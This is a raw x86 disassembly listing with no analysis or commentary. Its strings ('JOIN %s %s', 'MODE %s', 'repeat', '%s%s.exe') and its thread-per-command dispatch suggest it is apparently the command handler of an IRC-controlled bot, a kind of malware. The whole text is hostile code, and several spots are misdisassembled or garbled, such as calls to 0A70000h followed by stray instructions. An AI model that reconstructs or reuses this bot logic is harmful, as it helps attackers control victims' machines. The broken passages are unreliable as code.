push dword ptr [ebp-460h]
call ds:dword_42F794
push eax
lea eax, [ebp-2C8h]
push offset unk_429F90
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_413059
add esp, 20h
mov [ebp-464h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F0h]
push ebx
push eax
push offset sub_4128CD
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-464h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40E845
loc_40E82F: ; CODE XREF: seg000:0040E843j
cmp [ebp-450h], ebx
jnz loc_410417
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40E82F
; ---------------------------------------------------------------------------
loc_40E845: ; CODE XREF: seg000:0040E82Dj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429F40
jmp loc_410408
; ---------------------------------------------------------------------------
loc_40E856: ; CODE XREF: seg000:0040D904j
; seg000:0040D91Bj
push edi
call sub_413B1F
push 7Fh
mov [ebp-300h], eax
push dword ptr [ebp+20h]
lea eax, [ebp-404h]
push eax
call sub_414DD0
push dword ptr [ebp+8]
call sub_413B1F
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-304h], eax
lea eax, [ebp-384h]
push 80h
push eax
mov [ebp-40Ch], esi
call sub_413B2A
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-2F0h], eax
push dword ptr [ebp-304h]
lea eax, [ebp-404h]
mov [ebp-2F4h], edi
push eax
push dword ptr [ebp-300h]
push esi
call sub_408619
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset unk_429EF0
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 10h
push eax
call sub_413059
add esp, 24h
mov [ebp-2FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-40Ch]
push ebx
push eax
push offset sub_4060A6
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-2FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40E93F
loc_40E929: ; CODE XREF: seg000:0040E93Dj
cmp [ebp-2ECh], ebx
jnz loc_410417
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40E929
; ---------------------------------------------------------------------------
loc_40E93F: ; CODE XREF: seg000:0040E927j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429E9C
jmp loc_410408
; ---------------------------------------------------------------------------
loc_40E950: ; CODE XREF: seg000:0040D8D6j
; seg000:0040D8EDj
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_414DD0
push 0FFh
lea eax, [ebp-688h]
push dword ptr [ebp+20h]
push eax
call sub_414DD0
push dword ptr [ebp+8]
mov [ebp-584h], ebx
call sub_413B1F
mov [ebp-580h], eax
mov eax, [ebp+esi-84h]
add esp, 1Ch
cmp eax, ebx
jz short loc_40E9AC
push 10h
push ebx
push eax
call sub_414B19
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40E9B2
; ---------------------------------------------------------------------------
loc_40E9AC: ; CODE XREF: seg000:0040E996j
mov [ebp-578h], ebx
loc_40E9B2: ; CODE XREF: seg000:0040E9AAj
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz short loc_40E9C9
push esi
call sub_413B1F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40E9CF
; ---------------------------------------------------------------------------
loc_40E9C9: ; CODE XREF: seg000:0040E9B8j
mov [ebp-57Ch], ebx
loc_40E9CF: ; CODE XREF: seg000:0040E9C7j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_414DD0
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
push edi
lea eax, [ebp-2C8h]
push offset unk_429E5C
push eax
call sub_4135AD
push esi
lea eax, [ebp-2C8h]
push 15h
push eax
call sub_413059
add esp, 28h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_40A17D
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40EA7D
loc_40EA67: ; CODE XREF: seg000:0040EA7Bj
cmp [ebp-568h], ebx
jnz loc_40E0EE
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40EA67
; ---------------------------------------------------------------------------
loc_40EA7D: ; CODE XREF: seg000:0040EA65j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429E08
jmp loc_40EC80
; ---------------------------------------------------------------------------
loc_40EA8E: ; CODE XREF: seg000:0040D8A8j
; seg000:0040D8BFj
push 7Fh
lea eax, [ebp-774h]
pop esi
push esi
push edi
push eax
call sub_414DD0
push esi
lea eax, [ebp-6F4h]
push dword ptr [ebp+20h]
push eax
call sub_414DD0
push esi
lea eax, [ebp-674h]
push dword ptr [ebp+8]
push eax
call sub_414DD0
push esi
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_414DD0
mov eax, [ebp-8]
push dword ptr [ebp+8]
mov esi, [ebp-4]
mov [ebp-56Ch], eax
mov eax, [ebp+0Ch]
push dword ptr [ebp+20h]
mov [ebp-778h], eax
lea eax, [ebp-2C8h]
push edi
push offset dword_429DC8
push eax
mov [ebp-570h], esi
call sub_4135AD
add esp, 44h
lea eax, [ebp-2C8h]
push ebx
push 0Bh
push eax
call sub_413059
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-778h]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40EB61
loc_40EB4F: ; CODE XREF: seg000:0040EB5Fj
cmp [ebp-568h], ebx
jnz short loc_40EB7C
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40EB4F
; ---------------------------------------------------------------------------
loc_40EB61: ; CODE XREF: seg000:0040EB4Dj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_429D7C
push eax
call sub_4135AD
add esp, 0Ch
loc_40EB7C: ; CODE XREF: seg000:0040EB55j
cmp [ebp-8], ebx
jnz loc_410D58
push ebx
push esi
jmp loc_40DCC4
; ---------------------------------------------------------------------------
loc_40EB8C: ; CODE XREF: seg000:0040D863j
; seg000:0040D87Aj ...
push 7Fh
lea eax, [ebp-7F0h]
pop esi
push esi
push edi
push eax
call sub_414DD0
push esi
lea eax, [ebp-770h]
push dword ptr [ebp+20h]
push eax
call sub_414DD0
push esi
lea eax, [ebp-6F0h]
push dword ptr [ebp+8]
push eax
call sub_414DD0
push esi
lea eax, [ebp-670h]
push dword ptr [ebp-8Ch]
push eax
call sub_414DD0
push 20h
lea eax, [ebp-5F0h]
push dword ptr [ebp+10h]
push eax
call sub_414DD0
mov eax, [ebp-4]
push dword ptr [ebp+8]
mov esi, [ebp+0Ch]
mov [ebp-570h], eax
mov eax, [ebp-8]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push edi
push offset unk_429D38
push eax
mov [ebp-7F8h], esi
call sub_4135AD
add esp, 50h
lea eax, [ebp-2C8h]
push ebx
push 0Ah
push eax
call sub_413059
add esp, 0Ch
mov [ebp-7F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-7F8h]
push ebx
push eax
push offset start
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-7F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40EC74
loc_40EC5E: ; CODE XREF: seg000:0040EC72j
cmp [ebp-568h], ebx
jnz loc_40E0EE
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40EC5E
; ---------------------------------------------------------------------------
loc_40EC74: ; CODE XREF: seg000:0040EC5Cj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429CEC
loc_40EC80: ; CODE XREF: seg000:0040E0D0j
; seg000:0040E21Bj ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
jmp loc_40E0EB
; ---------------------------------------------------------------------------
loc_40EC91: ; CODE XREF: seg000:0040D835j
; seg000:0040D84Cj
push 7Fh
lea eax, [ebp-444h]
push edi
push eax
call sub_414DD0
push dword ptr [ebp+20h]
call sub_413B1F
push 3Fh
mov [ebp-2F4h], eax
push dword ptr [ebp+8]
lea eax, [ebp-3C4h]
push eax
call sub_414DD0
mov esi, [ebp+esi-84h]
add esp, 1Ch
cmp esi, ebx
jz short loc_40ECDF
push 3Fh
lea eax, [ebp-384h]
push esi
push eax
call sub_414DD0
add esp, 0Ch
loc_40ECDF: ; CODE XREF: seg000:0040ECCBj
lea eax, [ebp-3C4h]
mov dword ptr [ebp-2F0h], 1
push eax
lea eax, [ebp-444h]
push dword ptr [ebp-2F4h]
push eax
lea eax, [ebp-2C8h]
push offset unk_429CA8
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 17h
push eax
call sub_413059
add esp, 20h
mov [ebp-2ECh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-448h]
push ebx
push eax
push offset sub_40B07B
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-2ECh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40ED6B
loc_40ED55: ; CODE XREF: seg000:0040ED69j
cmp [ebp-2E8h], ebx
jnz loc_40DC19
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40ED55
; ---------------------------------------------------------------------------
loc_40ED6B: ; CODE XREF: seg000:0040ED53j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429C5C
jmp loc_40DC0A
; ---------------------------------------------------------------------------
loc_40ED7C: ; CODE XREF: seg000:0040D7F5j
; seg000:0040D80Cj
push dword ptr [ebp+20h]
call sub_413B1F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40EE6D
mov esi, 80h
push edi
lea eax, [ebp-700h]
push esi
push eax
call sub_413B2A
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_413B2A
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
push edi
push offset unk_429C1C
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
push ebx
lea eax, [ebp-2C8h]
push 0Dh
push eax
call sub_413059
add esp, 38h
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401447
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40EE5C
loc_40EE46: ; CODE XREF: seg000:0040EE5Aj
cmp [ebp-568h], ebx
jnz loc_40DCB7
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40EE46
; ---------------------------------------------------------------------------
loc_40EE5C: ; CODE XREF: seg000:0040EE44j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429BD0
jmp loc_40DCA8
; ---------------------------------------------------------------------------
loc_40EE6D: ; CODE XREF: seg000:0040ED8Dj
push offset unk_429B84
jmp loc_410536
; ---------------------------------------------------------------------------
loc_40EE77: ; CODE XREF: seg000:0040D7C7j
; seg000:0040D7DEj
push dword ptr [ebp+20h]
push edi
call near ptr 0A70000h
aas
test eax, eax
jz short loc_40EEA4
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push edi
push offset unk_429B4C
push 200h
push eax
call sub_413B2A
jmp loc_40F6C7
; ---------------------------------------------------------------------------
loc_40EEA4: ; CODE XREF: seg000:0040EE83j
push offset dword_429B2C
call loc_4080B0
push eax
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
add esp, 10h
jmp loc_40DCB7
; ---------------------------------------------------------------------------
loc_40EEC8: ; CODE XREF: seg000:0040D799j
; seg000:0040D7B0j
push edi
lea eax, [ebp-77Ch]
push 104h
push eax
call sub_413B2A
add esp, 0Ch
cmp [ebp-0Ch], ebx
jz short loc_40EF02
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40EF02
push eax
lea eax, [ebp-678h]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_40EF02: ; CODE XREF: seg000:0040EEE0j
; seg000:0040EEF1j
push dword ptr [ebp-8Ch]
lea eax, [ebp-7FCh]
push 80h
push eax
call sub_413B2A
mov eax, [ebp+0Ch]
mov [ebp-800h], eax
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-678h]
push eax
lea eax, [ebp-77Ch]
push eax
push offset unk_429AE8
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
push ebx
lea eax, [ebp-2C8h]
push 1Bh
push eax
call sub_413059
add esp, 2Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-800h]
push ebx
push eax
push offset sub_406C30
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40EFB5
loc_40EF9F: ; CODE XREF: seg000:0040EFB3j
cmp [ebp-568h], ebx
jnz loc_410D58
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40EF9F
; ---------------------------------------------------------------------------
loc_40EFB5: ; CODE XREF: seg000:0040EF9Dj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429A98
jmp loc_410D49
; ---------------------------------------------------------------------------
loc_40EFC6: ; CODE XREF: seg000:0040D76Bj
; seg000:0040D782j ...
push 44h
lea eax, [ebp-48Ch]
pop esi
push esi
push ebx
push eax
call sub_413630
push 1
mov [ebp-48Ch], esi
pop esi
mov [ebp-45Ch], bx
push edi
mov [ebp-460h], esi
call sub_413B1F
add esp, 10h
cmp eax, esi
jnz short loc_40F003
mov word ptr [ebp-45Ch], 5
loc_40F003: ; CODE XREF: seg000:0040EFF8j
cmp [ebp-0Ch], ebx
jz loc_40DC19
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40DC19
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-48Ch]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 0A70000h
jge short loc_40EFC6
sal byte ptr [ebp+18h], 68h
pusha
call far ptr 0FD38h:858D0042h ; CODE XREF: seg000:0040F1E0j
; seg000:0040F873j ...
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
; ---------------------------------------------------------------------------
call sub_4135AD
pop ecx
pop ecx
jmp loc_40DC19
; ---------------------------------------------------------------------------
push edi
push offset unk_429A34
jmp loc_40DC0A
; ---------------------------------------------------------------------------
loc_40F067: ; CODE XREF: seg000:0040D73Dj
; seg000:0040D754j
push dword ptr [ebp+20h]
push offset aVds017 ; "vds017"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F1DB
lea eax, [ebp-3E8h]
push eax
push 104h
call near ptr 0A70000h
int 3 ; Trap to Debugger
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_414DD0
lea eax, [ebp-2E4h]
push eax
call sub_41248A
push eax
lea eax, [ebp-3E8h]
push eax
lea eax, [ebp-688h]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4135AD
mov eax, [ebp+esi-88h]
add esp, 20h
cmp eax, ebx
mov dword ptr [ebp-584h], 1
mov [ebp-580h], ebx
jz short loc_40F0F9
push 10h
push ebx
push eax
call sub_414B19
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_40F0FF
; ---------------------------------------------------------------------------
loc_40F0F9: ; CODE XREF: seg000:0040F0E3j
mov [ebp-578h], ebx
loc_40F0FF: ; CODE XREF: seg000:0040F0F7j
mov esi, [ebp+esi-84h]
cmp esi, ebx
jz short loc_40F119
push esi
call sub_413B1F
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40F11F
; ---------------------------------------------------------------------------
loc_40F119: ; CODE XREF: seg000:0040F108j
mov [ebp-57Ch], ebx
loc_40F11F: ; CODE XREF: seg000:0040F117j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_414DD0
mov eax, [ebp-4]
push edi
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
lea eax, [ebp-2C8h]
push offset unk_4299E8
push eax
call sub_4135AD
push esi
lea eax, [ebp-2C8h]
push 16h
push eax
call sub_413059
add esp, 24h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset loc_40A17D
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40F1CA
loc_40F1B4: ; CODE XREF: seg000:0040F1C8j
cmp [ebp-568h], ebx
jnz loc_40DC19
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40F1B4
; ---------------------------------------------------------------------------
loc_40F1CA: ; CODE XREF: seg000:0040F1B2j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_429998
jmp loc_40DC0A
; ---------------------------------------------------------------------------
loc_40F1DB: ; CODE XREF: seg000:0040F078j
push offset unk_429940
jmp near ptr loc_40F046+3
; ---------------------------------------------------------------------------
loc_40F1E5: ; CODE XREF: seg000:0040D70Fj
; seg000:0040D726j
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40B71F
cmp [ebp-0Ch], ebx
jz loc_40B71F
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_429930
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_414DD0
push edi
call sub_413B1F
add esp, 30h
test eax, eax
jle short loc_40F26C
push edi
call sub_413B1F
imul eax, 3E8h
pop ecx
push eax
call ds:dword_41F058 ; Sleep
loc_40F26C: ; CODE XREF: seg000:0040F256j
push offset dword_429908
call sub_409615
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_40F280: ; CODE XREF: seg000:0040D6E1j
; seg000:0040D6F8j
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40B71F
cmp [ebp-0Ch], ebx
jz loc_410E98
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
mov eax, [ebp+20h]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4139D0
add esp, 10h
test eax, eax
push esi
jz short loc_40F33C
push dword ptr [ebp-8Ch]
lea eax, [ebp-2C8h]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_429930
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_414DD0
push esi
lea eax, [ebp-2C8h]
push offset dword_4298D4
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push eax
call sub_409615
push edi
call sub_413B1F
add esp, 38h
test eax, eax
jle loc_410E98
push edi
call sub_413B1F
add eax, [ebp+2Ch]
pop ecx
jmp loc_40B722
; ---------------------------------------------------------------------------
loc_40F33C: ; CODE XREF: seg000:0040F2C5j
push offset dword_42988C
jmp loc_40DC0A
; ---------------------------------------------------------------------------
loc_40F346: ; CODE XREF: seg000:0040D6B3j
; seg000:0040D6CAj
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_429884
push eax
call sub_4135AD
push edi
call sub_413B1F
add esp, 10h
loc_40F363: ; CODE XREF: seg000:0040F3CDj
test eax, eax
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
loc_40F37D: ; CODE XREF: seg000:0040FC62j
lea eax, [ebp-2C8h]
push eax
push offset dword_42987C
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_41106A
loc_40F3A1: ; CODE XREF: seg000:00410AFDj
add esp, 0Ch
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40F3A9: ; CODE XREF: seg000:0040D685j
; seg000:0040D69Cj
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C8h]
push dword ptr [ebp+20h]
push offset dword_429870
push eax
call sub_4135AD
push edi
call sub_413B1F
add esp, 14h
jmp short loc_40F363
; ---------------------------------------------------------------------------
loc_40F3CF: ; CODE XREF: seg000:0040D657j
; seg000:0040D66Ej
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset dword_429868
push eax
call sub_4135AD
push edi
call sub_413B1F
add esp, 10h
test eax, eax
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
lea eax, [ebp-2C8h]
push eax
push offset dword_42987C
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_41106A
push dword ptr [ebp+20h]
push edi
push offset dword_429838
loc_40F433: ; CODE XREF: seg000:0040F4BDj
; seg000:0040F528j ...
call sub_409689
loc_40F438: ; CODE XREF: seg000:004107CDj
add esp, 18h
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40F440: ; CODE XREF: seg000:0040D629j
; seg000:0040D640j
cmp [ebp-0Ch], ebx
jz loc_410E98
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40F471
push esi
lea eax, [ebp-2C8h]
push offset dword_429830
push eax
call sub_4135AD
add esp, 0Ch
loc_40F471: ; CODE XREF: seg000:0040F45Aj
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
lea eax, [ebp-2C8h]
push eax
push offset dword_42987C
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_41106A
push esi
push edi
push offset dword_429800
jmp loc_40F433
; ---------------------------------------------------------------------------
loc_40F4C2: ; CODE XREF: seg000:0040D5FBj
; seg000:0040D612j
cmp [ebp-0Ch], ebx
jz loc_410E98
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_410E98
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
push esi
push offset dword_42987C
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_41106A
push esi
push edi
push offset dword_4297D0
jmp loc_40F433
; ---------------------------------------------------------------------------
loc_40F52D: ; CODE XREF: seg000:0040D5CDj
; seg000:0040D5E4j
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_410E98
push esi
push offset aModeS ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push esi
push offset dword_429794
loc_40F55F: ; CODE XREF: seg000:0040FE07j
; seg000:0040FE20j ...
call sub_409689
loc_40F564: ; CODE XREF: seg000:0040F5CDj
add esp, 14h
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40F56C: ; CODE XREF: seg000:0040D59Fj
; seg000:0040D5B6j
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40B71F
push dword ptr [ebp+20h]
push offset dword_429788
push dword ptr [ebp+0Ch]
call sub_41106A
push edi
call sub_413B1F
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_41F058 ; Sleep
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_41106A
push offset dword_429760
call sub_409615
jmp short loc_40F564
; ---------------------------------------------------------------------------
loc_40F5CF: ; CODE XREF: seg000:0040D571j
; seg000:0040D588j
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
call sub_413DB0
push dword ptr [ebp+10h]
mov esi, eax
call sub_413DB0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_413B80
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_410E98
push esi
lea eax, [ebp-2C8h]
push offset dword_42A000
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_4110B0
push esi
push edi
push offset dword_429730
call sub_409689
add esp, 2Ch
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40F63D: ; CODE XREF: seg000:0040D543j
; seg000:0040D55Aj
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
call sub_413DB0
push dword ptr [ebp+10h]
mov esi, eax
call sub_413DB0
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_413B80
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_410E98
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+0Ch]
call sub_4110B0
push esi
push edi
push offset dword_429700
call sub_409689
jmp loc_40E26B
; ---------------------------------------------------------------------------
loc_40F690: ; CODE XREF: seg000:0040D515j
; seg000:0040D52Cj
cmp [ebp-0Ch], ebx
jz loc_40B71F
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz loc_40B71F
push eax
push edi
call near ptr loc_409519+4
; ---------------------------------------------------------------------------
push edi
lea eax, [ebp-2C8h]
push offset dword_4296D0
push eax
call sub_4135AD
loc_40F6C7: ; CODE XREF: seg000:0040EE9Fj
add esp, 14h
jmp loc_40DCB7
; ---------------------------------------------------------------------------
loc_40F6CF: ; CODE XREF: seg000:0040D4D5j
; seg000:0040D4ECj
push edi
push dword ptr [ebp+24h]
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz loc_410E98
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_40F76C
push esi
push dword ptr [ebp-0Ch]
call sub_413B80
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40F754
push esi
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset dword_429930
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_414DD0
push esi
push edi
lea eax, [ebp-2C8h]
push offset dword_429698
push eax
call sub_4135AD
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_4109E0
; ---------------------------------------------------------------------------
loc_40F754: ; CODE XREF: seg000:0040F6FCj
lea eax, [ebp-2C8h]
push offset dword_429654
push eax
call sub_4135AD
pop ecx
pop ecx
jmp loc_4109E0
; ---------------------------------------------------------------------------
loc_40F76C: ; CODE XREF: seg000:0040F6EBj
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_40922D
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
push edi
push offset dword_429628
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
add esp, 24h
jmp loc_4109E0
; ---------------------------------------------------------------------------
loc_40F7B3: ; CODE XREF: seg000:0040CEDAj
; seg000:0040CEF1j
push offset aR ; "r"
push edi
call sub_413CA8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40F82D
mov ebx, 200h
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_4151CC
add esp, 0Ch
loc_40F7DC: ; CODE XREF: seg000:0040F80Bj
test eax, eax
jz short loc_40F80D
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_4151CC
add esp, 20h
jmp short loc_40F7DC
; ---------------------------------------------------------------------------
loc_40F80D: ; CODE XREF: seg000:0040F7DEj
push esi
call sub_413C00
push edi
lea eax, [ebp-2C8h]
push offset dword_4295F0
push eax
call sub_4135AD
add esp, 10h
jmp loc_40D4AD
; ---------------------------------------------------------------------------
loc_40F82D: ; CODE XREF: seg000:0040F7C4j
push edi
